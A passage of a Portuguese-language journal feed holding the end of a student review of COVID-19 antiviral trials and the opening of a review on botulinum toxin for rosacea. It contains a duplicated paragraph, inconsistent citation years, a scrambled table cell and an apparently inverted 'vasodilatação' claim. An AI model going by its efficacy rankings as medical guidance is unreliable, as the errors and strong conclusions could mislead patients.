Remdesivir,<br>Lopinavir e<br>interferon<br>beta-1a no<br>desfecho de<br>mortalidade<br>hospitalar,<br>início de<br>ventilação e<br>duração de<br>internação em<br>pacientes<br>hospitalizados<br>com COVID 19.</td><td>11.330<br>participante<br>s. Foram<br>considerados 2750<br>participantes.</td><td>Estudo<br>multinacional<br>, 2020.</td><td>O antiviral não<br>demonstrou reduzir<br>mortalidade,<br>necessidade de<br>ventilação ou<br>tempo de<br>internação em<br>pacientes<br>hospitalizados com<br>COVID-19. As<br>taxas de redução<br>de mortalidade não foram<br>estatisticamente<br>significativas.</td></tr><tr><td>WANG,<br>Yeming;<br>ZHANG,<br>Dingyu; DU,<br>Guanhua; et<br>al.</td><td>Remdesivir em<br>adultos com<br>COVID-19<br>grave: um<br>ensaio clínico<br>randomizado,<br>duplo-cego,<br>controlado por<br>placebo e<br>multicêntrico.</td><td>Avaliar se o<br>tratamento<br>intravenoso<br>com Remdesivir<br>por 10 dias<br>apresenta<br>melhora clínica, redução<br>mortalidade e<br>redução de<br>carga viral em<br>adultos<br>hospitalizados<br>com COVID 19 grave, em<br>comparação<br>ao placebo.</td><td>237<br>participantes.</td><td>China, 2020.</td><td>O tempo até<br>melhora clínica<br>não foi<br>estatisticamente<br>significativo. Em<br>subgrupo de<br>pacientes tratados<br>até 10 dias do<br>início dos<br>sintomas, houve<br>tendência<br>numérica de<br>benefício.<br>Mortalidade foi<br>semelhante entre os grupos, 14% no grupo Remdesivir<br>e 13% no placebo.<br>redução de RNA<br>não apresentou<br>diferença entre os grupos.</td></tr><tr><td>BEIGEL, John<br>H.;<br>TOMASHEK,<br>Kay M.;<br>DODD, Lori<br>E.; et al.</td><td>Remdesivir<br>para o<br>tratamento da<br>Covid-19 —<br>Relatório final.</td><td>Avaliar se o<br>uso de<br>Remdesivir<br>intravenoso<br>por 10 dias em<br>adultos<br>hospitalizados<br>com COVID<br>19 e evidência<br>de<br>envolvimento<br>do trato<br>respiratório<br>inferior é<br>superior ao<br>placebo em<br>reduzir o<br>tempo de<br>recuperação e<br>melhorar<br>desfechos<br>clínicos.</td><td>1.062<br>participantes.</td><td>Estudo<br>multinacional<br>, 2020.</td><td>Os pacientes<br>tratados com<br>Remdesivir tiveram<br>uma taxa de<br>recuperação 29% maior que os tratados com<br>placebo. O grupo Remdesivir teve<br>50% mais chance de apresentar<br>melhora clínica em comparação ao placebo. O<br>Remdesivir pode ter reduzido o risco de morte, mas sem<br>significância<br>estatística.</td></tr><tr><td>GOTTLIEB,<br>Robert L.;<br>VACA, Carlos<br>E.; PAREDES,<br>Roger; et al.</td><td>Remdesivir<br>precoce para<br>prevenir a<br>progressão<br>para Covid-19<br>grave em<br>pacientes<br>ambulatoriais.</td><td>Avaliar se um<br>curso de 3<br>dias de<br>Remdesivir<br>administrado<br>em pacientes<br>não<br>hospitalizados<br>com COVID<br>19 sintomática e com risco de<br>progressão<br>reduz a<br>hospitalização<br>ou morte.</td><td>562<br>participantes.</td><td>Estudo<br>multinacional<br>, 2020.</td><td>Nenhum óbito foi registrado até o dia 28 em nenhum dos grupos.<br>Hospitalização<br>relacionada à<br>COVID-19 ou<br>morte até o dia 28: ocorreu em 2<br>pacientes no grupo Remdesivir versus 15 pacientes no<br>grupo placebo.<br>Eventos adversos:<br>ocorreram em<br>números similares<br>em ambos os<br>grupos.</td></tr><tr><td>ADER,<br>Florence;<br>BOUSCAMB<br>ERT<br>DUCHAMP,<br>Maude;<br>HITES,<br>Maya; et al.</td><td>Remdesivir<br>mais<br>tratamento<br>padrão versus<br>tratamento<br>padrão isolado<br>para o<br>tratamento de<br>pacientes<br>internados no<br>hospital com<br>COVID-19: um<br>ensaio clínico<br>de fase 3,<br>randomizado,<br>controlado e<br>aberto.</td><td>Avaliar a<br>eficácia clínica<br>de Remdesivir<br>tratamento<br>padrão versus<br>SoC isolado<br>em pacientes<br>hospitalizados<br>com COVID<br>19, que exigem<br>suplementação de oxigênio.</td><td>857<br>participantes.</td><td>Europa,<br>2020.</td><td>Após o dia 15 os<br>dados mostraram<br>valores muito<br>semelhantes entre os grupos em relação à redução de hospitalização,<br>uso de oxigênio e mortalidade. A<br>diferença global<br>entre os grupos<br>não foi<br>estatisticamente<br>significativa.</td></tr><tr><td>GOLDMAN,<br>Jason D.;<br>LYE, David<br>C.B.; HUI,<br>David S.; et<br>al.</td><td>Remdesivir por<br>5 ou 10 dias<br>em pacientes<br>com Covid-19<br>grave.</td><td>Avaliar se um<br>curso de 5<br>dias ou 10<br>dias de<br>Remdesivir<br>intravenoso<br>melhora o<br>status clínico<br>em pacientes<br>hospitalizados<br>com COVID<br>19 grave</td><td>584<br>participantes.</td><td>Estudo<br>multinacional<br>, 2020.</td><td>O regime de 5 dias de Remdesivir<br>mostrou benefício<br>estatisticamente<br>significativo, por<br>outro lado, o<br>regime de 10 dias não apresentou<br>significância<br>estatística. Isso<br>sugere que<br>estender o uso não trouxe<br>adicional.<br>benefício<br>A mortalidade similar nos dois grupos de Remdesivir.</td></tr></tbody></table></figure>



<p class="wp-block-paragraph">Os eventos adversos mais comuns foram náusea e diarreia. O risco de efeitos adversos aumenta com o uso prolongado sem ganho proporcional em eficácia.&nbsp;&nbsp;</p>



<p class="wp-block-paragraph">Dentre os resultados selecionados, destacou-se a eficácia de Azvudine, Molnupiravir, Nirmatrelvir, Remdesvir, com resultados positivos. Além dos resultados pouco promissores Ensitrelvir (em pacientes não hospitalizados), Favipiravir, Lopinavir. Os eventos adversos se apresentaram similares entre os medicamentos, apresentando sintomas intestinais devido à absorção dos fármacos&nbsp;</p>



<p class="wp-block-paragraph">Os idiomas da maioria dos artigos selecionados se encontram em língua inglesa e raros artigos em língua portuguesa ou latino-americana.&nbsp;</p>



<p class="wp-block-paragraph"><strong>4. DISCUSSÃO&nbsp;</strong></p>



<p class="wp-block-paragraph">Os medicamentos analisados demonstram benefícios variados na redução da carga viral, na melhoria clínica, risco de hospitalização e redução de mortalidade. A COVID-19 é uma infecção respiratória aguda potencialmente grave, de elevada transmissibilidade, que compreende um amplo espectro de sintomas respiratórios. Os tratamentos comuns eram voltados para sintomatologia, enquanto os tratamentos mais modernos possuem o objetivo de reduzir a carga viral que tem como consequência reduzir os sintomas provocados pelo vírus (Desidera et al., 2022; Wang et al., 2020).&nbsp;</p>



<p class="wp-block-paragraph"><strong>4.1.&nbsp;Azvudine&nbsp;</strong></p>



<p class="wp-block-paragraph">A análise dos resultados apresentados revela uma convergência significativa entre os diferentes grupos de pesquisa no que tange à eficácia do Azvudine, embora cada um aborde aspectos distintos do seu benefício terapêutico. O estudo de WANG (2025) estabelece uma premissa fundamental de manejo clínico ao focar na importância do tempo da intervenção, associando a administração precoce a desfechos cruciais, como a redução da mortalidade e a diminuição da taxa de progressão para formas graves da doença em 28 dias. Em complementaridade, SUN (2023) fornece uma validação robusta desses desfechos clínicos, utilizando o pareamento por escore de propensão para comparar 245 pacientes tratados com 245 controles, corroborando a redução da mortalidade por todas as causas no grupo com Azvudine.&nbsp;</p>



<p class="wp-block-paragraph">SOUZA (2023) em seu estudo fornece uma base virológica, prática e de segurança do tratamento. Enquanto Wang (2025) e Sun (2023) validam o impacto na progressão e na mortalidade, Souza (2025) demonstra a potente atividade do fármaco, observando uma redução significativa na carga viral e a conversão para carga indetectável no grupo Azvudine em comparação ao placebo.&nbsp;&nbsp;</p>



<p class="wp-block-paragraph"><strong>4.2.&nbsp;Ensitrelvir&nbsp;</strong></p>



<p class="wp-block-paragraph">O Autor 1 (Luetkemeyer et al.) observou que o uso de Ensitrelvir, quando iniciado dentro de três dias do início dos sintomas, não alcançou significância estatística no desfecho primário, definido como o tempo até a resolução sustentada de 15 sintomas por pelo menos dois dias. Embora tenha havido uma redução numérica no tempo de resolução, essa redução não foi estatisticamente significativa.&nbsp;</p>



<p class="wp-block-paragraph">Em contrapartida, o Autor 2 (Yotsuyanagi et al.) reportou resultados significativamente mais otimistas em seu desfecho clínico. O grupo tratado com Ensitrelvir apresentou um tempo mediano até a resolução de cinco sintomas típicos de COVID-19 significativamente menor em comparação ao placebo. Autor 3 (Ohmagari et al.) complementa a visão positiva, indicando uma redução expressiva de 77 % no risco de desenvolvimento de qualquer dos 14 sintomas típicos, demonstrando claramente que o tratamento está associado a uma melhora significativa em desfechos sintomáticos mais focados (5 sintomas) e a uma redução substancial no risco de desenvolvimento ou agravamento de sintomas.&nbsp;</p>



<p class="wp-block-paragraph"><strong>4.3.&nbsp;Favipiravir&nbsp;</strong></p>



<p class="wp-block-paragraph">O Favipiravir é reconhecido por sua atividade antiviral contra o SARS-CoV-2, atuando especificamente pela inibição da RNA polimerase dependente de RNA viral. Contudo, a tradução dessa atividade in vitro para um impacto virológico consistente in vivo é o ponto central da discórdia científica entre os autores.&nbsp;</p>



<p class="wp-block-paragraph">Alguns estudos apresentaram evidências de que o Favipiravir é eficaz na redução da carga viral. Especificamente, o Autor 5 (LOWE et al.) demonstrou que o Favipiravir isolado reduziu significativamente a carga viral em pacientes ambulatoriais, resultando em 46,3 % dos pacientes com carga viral indetectável no dia 5, em comparação com 26,9 % no grupo placebo. O Autor 6 (SMITH et al.) também observou a negativação viral no trato respiratório superior até o dia 5&nbsp;</p>



<p class="wp-block-paragraph">Alguns estudos apresentaram evidências de que o Favipiravir é eficaz na redução da carga viral. Especificamente, o Autor 5 (LOWE et al.) demonstrou que o Favipiravir isolado reduziu significativamente a carga viral em pacientes ambulatoriais, resultando em 46,3 % dos pacientes com carga viral indetectável no dia 5, em comparação com 26,9 % no grupo placebo. O Autor 6 (SMITH et al.) também observou a negativação viral no trato respiratório superior até o dia 5.&nbsp;</p>



<p class="wp-block-paragraph"><strong>4.4.&nbsp;Lopinavir&nbsp;</strong></p>



<p class="wp-block-paragraph">Os achados clínicos são unânimes em apontar a falta de impacto do Lopinavir/Ritonavir nos desfechos primários da doença, incluindo tempo de recuperação e sobrevivência.&nbsp;</p>



<p class="wp-block-paragraph">O Autor 1 (CAO et al.) observou que o tratamento com Lopinavir não demonstrou variação no tempo de recuperação em comparação ao grupo controle. Esta conclusão é suportada pelo estudo em larga escala do Autor 3 (RECOVERY Collaborative Group), que fornece a evidência mais robusta contra o uso do medicamento. Este grupo concluiu que o tratamento com Lopinavir/Ritonavir não reduziu a mortalidade por todas as causas em 28 dias.&nbsp;&nbsp;</p>



<p class="wp-block-paragraph">A identificação de eventos adversos graves, ainda que raros (apenas um evento grave foi atribuído ao medicamento no estudo RECOVERY), somada à completa falta de benefício clínico (Autor 3) e virológico (Autores 1 e 2), fortalece a conclusão crítica de que o risco-benefício do uso do Lopinavir/Ritonavir é desfavorável no tratamento da COVID-19.&nbsp;</p>



<p class="wp-block-paragraph"><strong>4.5.&nbsp;Molnupiravir&nbsp;</strong></p>



<p class="wp-block-paragraph">Os estudos realizados sobre o molnupiravir apontam resultados consistentes quanto à sua eficácia em reduzir a progressão da COVID-19 quando administrado nos estágios iniciais da infecção. O ensaio clínico de Jayk Bernal et al (2022), conduzido em vários países com 1.433 pacientes não hospitalizados, demonstrou que o uso de molnupiravir reduziu a taxa de hospitalização ou morte em comparação ao placebo (6,8 % vs. 9,7 %), mantendo um perfil de segurança semelhante entre os grupos.&nbsp;</p>



<p class="wp-block-paragraph">Resultados semelhantes foram observados por Caraco et al (2022), em um estudo de fase 2/3 com adultos não hospitalizados e com risco elevado para formas graves da doença. O tratamento iniciado até cinco dias após o início dos sintomas diminuiu significativamente o risco de hospitalização e morte, reforçando o potencial clínico do fármaco.&nbsp;</p>



<p class="wp-block-paragraph">De forma complementar, Fischer et al (2021) verificaram que o molnupiravir promoveu uma redução expressiva da carga viral, com 92,5 % dos pacientes atingindo eliminação do RNA viral após quatro semanas, em comparação a 80,3 % no grupo placebo. Os efeitos adversos relatados foram leves e transitórios.&nbsp;</p>



<p class="wp-block-paragraph"><strong>4.6.&nbsp;Nirmatrelvir&nbsp;</strong></p>



<p class="wp-block-paragraph">A análise dos resultados sobre o Nirmatrelvir, demonstra evidências consistentes quanto à sua eficácia e segurança no tratamento precoce da COVID19. O estudo de Hammond et al (2022) mostrou redução aproximada de 89% no risco de hospitalização ou morte entre adultos sintomáticos de alto risco, além de queda significativa da carga viral no quinto dia de tratamento. De forma complementar, Dryden-Peterson et al (2023) confirmaram esses achados em um cenário de prática clínica real, com redução de 44% no risco de hospitalização ou óbito, mesmo em indivíduos vacinados, reforçando a aplicabilidade do fármaco em contextos populacionais diversos.&nbsp;</p>



<p class="wp-block-paragraph">Quanto à segurança, os eventos adversos relatados foram predominantemente leves, como disgeusia e diarreia, sem registros de toxicidades graves (Hammond et al., 2022). Já Anderson et al (2022) investigaram o fenômeno do “rebote viral” e não identificaram associação significativa entre o uso do medicamento e o retorno da carga viral detectável, sugerindo estabilidade do efeito antiviral.&nbsp;</p>



<p class="wp-block-paragraph"><strong>4.7.&nbsp;Remdesvir&nbsp;</strong></p>



<p class="wp-block-paragraph">A análise dos resultados indica que o Remdesivir apresenta eficácia clínica moderada no tratamento da COVID-19, com melhor desempenho quando administrado nas fases iniciais da doença. Estudos como o de Beigel et al. (2020) evidenciaram redução do tempo médio de recuperação e tendência de melhora clínica, enquanto Spinner et al. (2020) e Goldman et al. (2020) reforçaram a eficácia do tratamento em curto prazo, com poucos eventos adversos. Esses achados sugerem que o medicamento pode contribuir para o controle da progressão viral e melhora sintomática em pacientes hospitalizados com quadro moderado.&nbsp;</p>



<p class="wp-block-paragraph">Contudo, resultados divergentes foram apresentados no Ensaio Solidarity da Organização Mundial da Saúde (2021), que não constatou diminuição significativa na mortalidade, ventilação mecânica ou tempo de hospitalização, apontando limitações no impacto global do fármaco.&nbsp;</p>



<p class="wp-block-paragraph">O conjunto das evidências demonstra que o medicamento se mantém como uma alternativa segura e com papel relevante no manejo clínico da COVID-19 em contextos hospitalares. Dessa forma, conclui-se que o Remdesivir tem um papel importante, embora restrito, na terapêutica antiviral, atuando principalmente na redução do tempo de recuperação.&nbsp;</p>



<p class="wp-block-paragraph"><strong>4.8.&nbsp;Desfecho&nbsp;</strong></p>



<p class="wp-block-paragraph">Essa inconsistência nos resultados virológicos sugere a necessidade de padronização nos protocolos de ensaio, incluindo a fase da doença, a população estudada (ambulatorial versus hospitalizada) e a metodologia de quantificação viral, para determinar a verdadeira magnitude do efeito virológico dos fármacos.&nbsp;</p>



<p class="wp-block-paragraph"><strong>5. CONSIDERAÇÕES FINAIS&nbsp;</strong></p>



<p class="wp-block-paragraph">A análise conclui que o cenário terapêutico é marcado por uma eficácia heterogênea: fármacos como Nirmatrelvir, Molnupiravir e Azvudine demonstraram de forma consistente a maior eficácia, com evidências robustas na redução da progressão da doença, hospitalização e mortalidade, especialmente sob intervenção precoce. Em oposição direta, o Lopinavir/Ritonavir foi conclusivamente refutado pelos principais ensaios, comprovando sua ineficácia clínica e virológica. Outros medicamentos, como o Remdesivir, Ensitrelvir e Favipiravir, ocupam um espectro intermediário, apresentando eficácia moderada. Estes achados consolidam a intervenção antiviral precoce com os fármacos de eficácia comprovada (notadamente Nirmatrelvir, Molnupiravir e Azvudine) como a estratégia terapêutica mais robusta validada pela literatura recente.&nbsp;</p>



<p class="wp-block-paragraph">Destaca-se a importância de monitoramento contínuo da eficácia frente às novas variantes virais, garantindo que sua utilização permaneça alinhada às evidências mais recentes e às recomendações de saúde pública.&nbsp;</p>



<p class="wp-block-paragraph"><strong>REFERÊNCIAS&nbsp;</strong></p>



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<p class="wp-block-paragraph">MAIA, I. S. et al. Antivirais para pacientes adultos hospitalizados com infecção por SARS-CoV-2: um estudo de fase II/III, randomizado, multicêntrico, controlado por placebo, adaptativo, com múltiplos braços e estágios. Revista Brasileira de Terapia Intensiva, v. 34, n. 1, p. 44-55, jan. 2022. Disponível em: https://doi.org/10.5935/0103-507X.20220002-pt. Acesso em: 31 ago.2024.&nbsp;</p>



<p class="wp-block-paragraph">MCMAHON, James H.; LAU, Jillian S.Y.; COLDHAM, Anna; et al. Favipiravir in early symptomatic COVID-19, a randomised placebo-controlled trial. eClinicalMedicine, v. 54, p. 101703, 2022. Disponível em:&nbsp;&lt;https://linkinghub.elsevier.com/retrieve/pii/S2589537022004333&gt;. Acesso em: 20 set. 2025.&nbsp;</p>



<p class="wp-block-paragraph">MOHIUDDIN CHOWDHURY, Abu Taiub Mohammed; KAMAL, Aktar; ABBAS, Kafil&nbsp;Uddin; et al. Efficacy and Outcome of Remdesivir and Tocilizumab Combination&nbsp;Against Dexamethasone for the Treatment of Severe COVID-19: A Randomized&nbsp;Controlled Trial. Frontiers in Pharmacology, v. 13, p. 690726, 2022. Disponível em: &lt;https://www.frontiersin.org/articles/10.3389/fphar.2022.690726/full&gt;. Acesso em: 1 out. 2025.&nbsp;</p>



<p class="wp-block-paragraph">MORAIS, W. R. de S. et al. Investigação prospectiva do novo coronavírus e de fármacos antivirais com potencial atividade terapêutica para o tratamento de pacientes infectados pela COVID-19. Cadernos de Prospecção, v. 13, n. 3, p. 619, 29 maio 2020. Disponível em: http://dx.doi.org/10.9771/cp.v13i3.36384. Acesso em: 31 ago. 2024.&nbsp;</p>



<p class="wp-block-paragraph">OHMAGARI, Norio; YOTSUYANAGI, Hiroshi; DOI, Yohei; et al. Efficacy and Safety of Ensitrelvir for Asymptomatic or Mild COVID‑19: An Exploratory Analysis of a Multicenter, Randomized, Phase 2b/3 Clinical Trial. Influenza and Other Respiratory Viruses, v. 18, n. 6, p. e13338, 2024. Disponível em:&nbsp;&lt;https://onlinelibrary.wiley.com/doi/10.1111/irv.13338&gt;. Acesso em: 20 set. 2025.&nbsp;</p>



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<p class="wp-block-paragraph">SHAH, Pallav L; ORTON, Christopher M; GRINSZTEJN, Beatriz; et al. Favipiravir in patients hospitalised with COVID-19 (PIONEER trial): a multicentre, open-label, phase 3, randomised controlled trial of early intervention versus standard care. The Lancet Respiratory Medicine, v. 11, n. 5, p. 415–424, 2023. Disponível em:&nbsp;&lt;https://linkinghub.elsevier.com/retrieve/pii/S221326002200412X&gt;. Acesso em: 20 set. 2025.&nbsp;</p>



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<p class="wp-block-paragraph">SUN, Yuming; JIN, Liping; DIAN, Yating; et al. Oral Azvudine for hospitalised patients with COVID-19 and pre-existing conditions: a retrospective cohort study.&nbsp;eClinicalMedicine, v. 59, p. 101981, 2023. Disponível em:&nbsp;&lt;https://linkinghub.elsevier.com/retrieve/pii/S258953702300158X&gt;. Acesso em: 20 set. 2025.&nbsp;</p>



<p class="wp-block-paragraph">TIAN, Xinlun; XU, Yan; WANG, Luo; et al. Efficacy and safety of azvudine in symptomatic adult COVID-19 participants who are at increased risk of progressing to critical illness: a study protocol for a multicentre randomized double-blind placebocontrolled phase III trial. Trials, v. 25, n. 1, p. 77, 2024. Disponível em:&nbsp;&lt;https://trialsjournal.biomedcentral.com/articles/10.1186/s13063-024-07914-3&gt;. Acesso em: 20 set. 2025.&nbsp;</p>



<p class="wp-block-paragraph">TRATAMENTO DO CORONAVÍRUS (COVID-19): cuidados e quando ir ao hospital.&nbsp;Tua Saúde, publicado em agosto de 2024. Disponível em: https://www.tuasaude.com/tratamento-para-coronavirus-COVID-19/. Acesso em: 7 out. 2024.&nbsp;</p>



<p class="wp-block-paragraph">UEHARA, Takeki; YOTSUYANAGI, Hiroshi; OHMAGARI, Norio; et al. Ensitrelvir treatment–emergent amino acid substitutions in SARS-CoV-2 3CLpro detected in the SCORPIO-SR phase 3 trial. Antiviral Research, v. 236, p. 106097, 2025. Disponível em: &lt;https://linkinghub.elsevier.com/retrieve/pii/S0166354225000233&gt;. Acesso em: 20 set. 2025.&nbsp;</p>



<p class="wp-block-paragraph">WANG, D. et al. Clinical characteristics of 138 hospitalized patients with 2019 novel coronavirus-infected pneumonia in Wuhan, China. JAMA, v. 323, n. 11, p. 10611069, 2020. DOI: 10.1001/jama.2020.1585. Disponível em: https://jamanetwork.com/journals/jama/fullarticle/2761044. Acesso em: 25 set. 2024.&nbsp;</p>



<p class="wp-block-paragraph">WANG, Luo; WANG, Yaqi; XU, Yan; et al. Impact of early and delayed azvudine administration on COVID-19 mortality: a retrospective study. Scientific Reports,&nbsp;v. 15, n. 1, p. 21729, 2025. Disponível em: &lt;https://www.nature.com/articles/s41598025-05381-7&gt;. Acesso em: 20 set. 2025.&nbsp;</p>



<p class="wp-block-paragraph">WANG, Yeming; ZHANG, Dingyu; DU, Guanhua; et al. Remdesivir in adults with severe COVID-19: a randomised, double-blind, placebo-controlled, multicentre trial.&nbsp;The Lancet, v. 395, n. 10236, p. 1569–1578, 2020. Disponível em:&nbsp;&lt;https://linkinghub.elsevier.com/retrieve/pii/S0140673620310229&gt;. Acesso em: 1 out. 2025.&nbsp;</p>



<p class="wp-block-paragraph">WHO SOLIDARITY TRIAL CONSORTIUM. Repurposed Antiviral Drugs for Covid-19 — Interim WHO Solidarity Trial Results. New England Journal of Medicine, v. 384, n. 6, p. 497–511, 2021. Disponível em:&nbsp;&lt;http://www.nejm.org/doi/10.1056/NEJMoa2023184&gt;. Acesso em: 1 out. 2025.&nbsp;</p>



<p class="wp-block-paragraph">YOTSUYANAGI, Hiroshi; OHMAGARI, Norio; DOI, Yohei; et al. Efficacy and Safety of 5-Day Oral Ensitrelvir for Patients With Mild to Moderate COVID-19: The SCORPIO-SR Randomized Clinical Trial. JAMA Network Open, v. 7, n. 2, p. e2354991, 2024. Disponível em:&nbsp;&lt;https://jamanetwork.com/journals/jamanetworkopen/fullarticle/2814871&gt;. Acesso em: 20 set. 2025.</p>



<hr class="wp-block-separator has-text-color has-ast-global-color-2-color has-alpha-channel-opacity has-ast-global-color-2-background-color has-background is-style-wide"/>



<p class="has-text-align-right wp-block-paragraph"><sup>1</sup>Graduando(a) do Curso de Biomedicina. mikaellyyasmim12@gmail.com / luisantonio.m.vsc@gmail.com<br><sup>2</sup>Doutora em Ciências da Saúde mariana.santos@cesmac.edu.br</p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>ADMINISTRAÇÃO DE TOXINA BOTULÍNICA COMO INTERVENÇÃO ESTÉTICA NA ROSÁCEA: UMA REVISÃO INTEGRATIVA</title>
		<link>https://revistaft.com.br/administracao-de-toxina-botulinica-como-intervencao-estetica-na-rosacea-uma-revisao-integrativa/</link>
		
		<dc:creator><![CDATA[Revistaft CL]]></dc:creator>
		<pubDate>Fri, 31 Oct 2025 16:07:44 +0000</pubDate>
				<category><![CDATA[Biomedicina]]></category>
		<category><![CDATA[Volume 29 - Edição 151/OUT 2025]]></category>
		<guid isPermaLink="false">https://revistaft.com.br/?p=245216</guid>

					<description><![CDATA[REGISTRO DOI: 10.69849/revistaft/cl10202510311340 Adrielly de Souza Brito1Maria Eduarda Martins Siqueira2Orientadora: Profa. Érica Erlanny da Silva Rodrigues3 RESUMO&#160; A rosácea é uma dermatose inflamatória crônica que acomete predominantemente a região centrofacial, caracterizando-se por eritema, pápulas, pústulas e telangiectasias, os quais impactam negativamente a qualidade de vida dos pacientes. Apesar da variedade de abordagens terapêuticas disponíveis, o [&#8230;]]]></description>
										<content:encoded><![CDATA[
<p class="has-text-align-center wp-block-paragraph">REGISTRO DOI: 10.69849/revistaft/cl10202510311340</p>



<hr class="wp-block-separator has-text-color has-ast-global-color-1-color has-alpha-channel-opacity has-ast-global-color-1-background-color has-background is-style-wide"/>



<p class="has-text-align-right wp-block-paragraph">Adrielly de Souza Brito<sup>1</sup><br>Maria Eduarda Martins Siqueira<sup>2</sup><br>Orientadora: Profa. Érica Erlanny da Silva Rodrigues<sup>3</sup></p>



<hr class="wp-block-separator has-text-color has-ast-global-color-1-color has-alpha-channel-opacity has-ast-global-color-1-background-color has-background is-style-wide"/>



<p class="wp-block-paragraph"><strong>RESUMO&nbsp;</strong></p>



<p class="wp-block-paragraph">A rosácea é uma dermatose inflamatória crônica que acomete predominantemente a região centrofacial, caracterizando-se por eritema, pápulas, pústulas e telangiectasias, os quais impactam negativamente a qualidade de vida dos pacientes. Apesar da variedade de abordagens terapêuticas disponíveis, o tratamento da rosácea ainda representa um desafio clínico, especialmente em casos refratários ou com efeitos adversos decorrentes do uso prolongado de medicamentos convencionais. Nesse cenário, a toxina botulínica tipo A (BTX-A) desponta como uma alternativa promissora, devido às suas propriedades anti-inflamatórias e moduladoras da atividade neurovascular cutânea. Esta revisão integrativa da literatura teve como objetivo analisar as evidências científicas recentes sobre a aplicação intradérmica da BTX-A no manejo da rosácea. Foram selecionados estudos que investigaram a eficácia, segurança e mecanismos de ação da toxina. Os resultados demonstraram melhora clínica significativa, com redução do eritema persistente, do flushing e da inflamação cutânea, além de relatos de melhora na qualidade de vida dos pacientes. A resposta terapêutica foi observada nas primeiras semanas após a aplicação, com duração média de três a seis meses e baixa incidência de efeitos adversos. Conclui-se que, embora sejam necessários estudos controlados de maior escala e com seguimento prolongado, a toxina botulínica tipo A representa uma abordagem terapêutica inovadora, segura e eficaz para pacientes com rosácea, especialmente aqueles que não respondem às terapias convencionais.&nbsp;</p>



<p class="wp-block-paragraph"><strong>Palavras-chaves</strong>: Rosácea. Toxina botulínica. Tratamento intradérmico. Manejo estético. Dermatologia.&nbsp;</p>



<p class="wp-block-paragraph"><strong>ABSTRACT&nbsp;</strong></p>



<p class="wp-block-paragraph">Rosacea is a chronic inflammatory dermatosis that primarily affects the central facial region. It is characterized by erythema, papules, pustules, and telangiectasias, which collectively can significantly impair patients’ quality of life. Although various therapeutic approaches are available, treatment remains a clinical challenge, particularly in refractory cases or when adverse effects arise from prolonged use of conventional medications. In this context, botulinum toxin type A (BTX-A) emerges as a promising alternative due to its anti-inflammatory properties and its ability to modulate cutaneous neurovascular activity. This integrative literature review aims to analyze current scientific evidence regarding the intradermal application of BTX-A in the management of rosacea. Studies published in recent years were selected to evaluate the efficacy, safety, and mechanisms of action of the toxin in this setting. The results demonstrate significant clinical improvement, particularly in persistent erythema, facial flushing, and inflammatory symptoms, with reports of enhanced quality of life. Therapeutic response was typically observed within the first few weeks post-application, lasting an average of three to six months, and associated with a low incidence of adverse effects. In conclusion, although further controlled and longterm studies are needed, botulinum toxin type A represents an innovative, safe, and potentially effective therapeutic approach for patients with rosacea who do not respond to conventional treatments.&nbsp;</p>



<p class="wp-block-paragraph"><strong>Keywords</strong>: Rosacea. Botulinum toxin. Intradermal treatment. Esthetic management.&nbsp;Dermatology.</p>



<p class="wp-block-paragraph"><strong>1.</strong> <strong>INTRODUÇÃO&nbsp;</strong></p>



<p class="wp-block-paragraph">A rosácea é uma condição crônica da face, caracterizada por eritema, edema, telangiectasias e pápulas, podendo incluir pústulas e nódulos. A rosácea foi originalmente classificada pelo Comitê de Especialistas da Sociedade Nacional de Rosácea de acordo com uma abordagem de subtipos, com 4 subtipos predominantes: eritrotelangiectásico, papulopustular, fimatoso e ocular. A forma eritrotelangiectásica é caracterizada por eritema facial persistente, muitas vezes associado à presença de telangiectasias. Já a apresentação pápulo-pustulosa cursa com vermelhidão na face acompanhada de quantidade variável de pápulas e pústulas eritematosas. A variante fimatosa provoca espessamento da pele e hiperplasia das glândulas sebáceas, especialmente na região nasal, levando ao rinofima. Quando acomete os olhos, manifesta-se geralmente por blefarite, conjuntivite e calázio. Além disso, pode ocorrer em associação a outras dermatoses. (Van Zuuren et al., 2021)&nbsp;</p>



<p class="wp-block-paragraph">Embora sua patogênese exata seja desconhecida, diversos fatores são considerados relevantes, como a disfunção do sistema imunológico inato e a exposição à radiação ultravioleta. Outros aspectos importantes incluem a disfunção da barreira epidérmica e inflamação neurogênica, onde nervos sensitivos liberam neuromediadores, resultando em vasodilatação (Oliveira et al., 2020).&nbsp;&nbsp;</p>



<p class="wp-block-paragraph">De uma forma geral, a rosácea é uma doença comum na população mundial, afetando cerca de 10% da população, com destaque para países da Europa e da América do Norte. De acordo com a Sociedade Brasileira de Dermatologia, a rosácea afeta entre 1,5% a 10% da população, apresentando uma maior prevalência nas regiões Sul e Sudeste do Brasil. A condição afeta principalmente pessoas do sexo feminino, com uma relação de 3:1 em relação aos homens. Pessoas de pele clara e sensíveis ao sol, estão mais vulneráveis (Suarez et al., 2023; Sociedade Brasileira de Dermatologia, 2020).&nbsp;</p>



<p class="wp-block-paragraph">O portador da rosácea precisa se atentar para fatores externos como alimentação, estresse, álcool, frio e calor, pois estes podem desencadear o surto da doença, por estarem conectados, de forma direta ou indireta, ao sistema imunológico da pessoa (Del Rosso et al., 2019).&nbsp;</p>



<p class="wp-block-paragraph">Os tratamentos disponíveis para essa condição incluem uma variedade de abordagens, como terapias tópicas, medicamentos orais e combinações com laser e outras tecnologias. Observa-se que tratamentos tradicionais, como o uso de antibióticos e corticosteróides ainda que amplamente utilizados, podem ocasionar efeitos adversos sistêmicos significativos, em contrapartida, a toxina botulínica tipo A apresenta um perfil de segurança mais favorável, com menor incidência de efeitos colaterais sistêmicos (Gouveia et al., 2020; Malachoski et al., 2021).&nbsp;</p>



<p class="wp-block-paragraph">A toxina botulínica vem se mostrando uma opção terapêutica promissora, sendo eficaz na redução de lesões inflamatórias e eritema decorrentes da rosácea, oferecendo satisfação e melhora na vida dos pacientes (Costa; Felizola; Ferreira da Silva, 2024).&nbsp;</p>



<p class="wp-block-paragraph">A Toxina Botulínica tipo A, ao ser injetada intramuscularmente, bloqueia a liberação de acetilcolina nos terminais dos nervos motores, resultando em uma denervação química temporária promovendo relaxamento muscular. Estudos mostram que a injeção intradérmica bloqueia a liberação de acetilcolina, resultando em vasodilatação e alívio no eritema reacional da rosácea (Ferreira et al., 2023; Couto et al., 2018).&nbsp;</p>



<p class="wp-block-paragraph">O tratamento com a toxina botulínica depende da dosagem aplicada e é reversível, uma vez que novos receptores são formados. Portanto, é necessário ter um intervalo entre uma aplicação e outra, pois, o corpo é capaz de desenvolver anticorpos contra a toxina (Gouveia et al., 2020).&nbsp;</p>



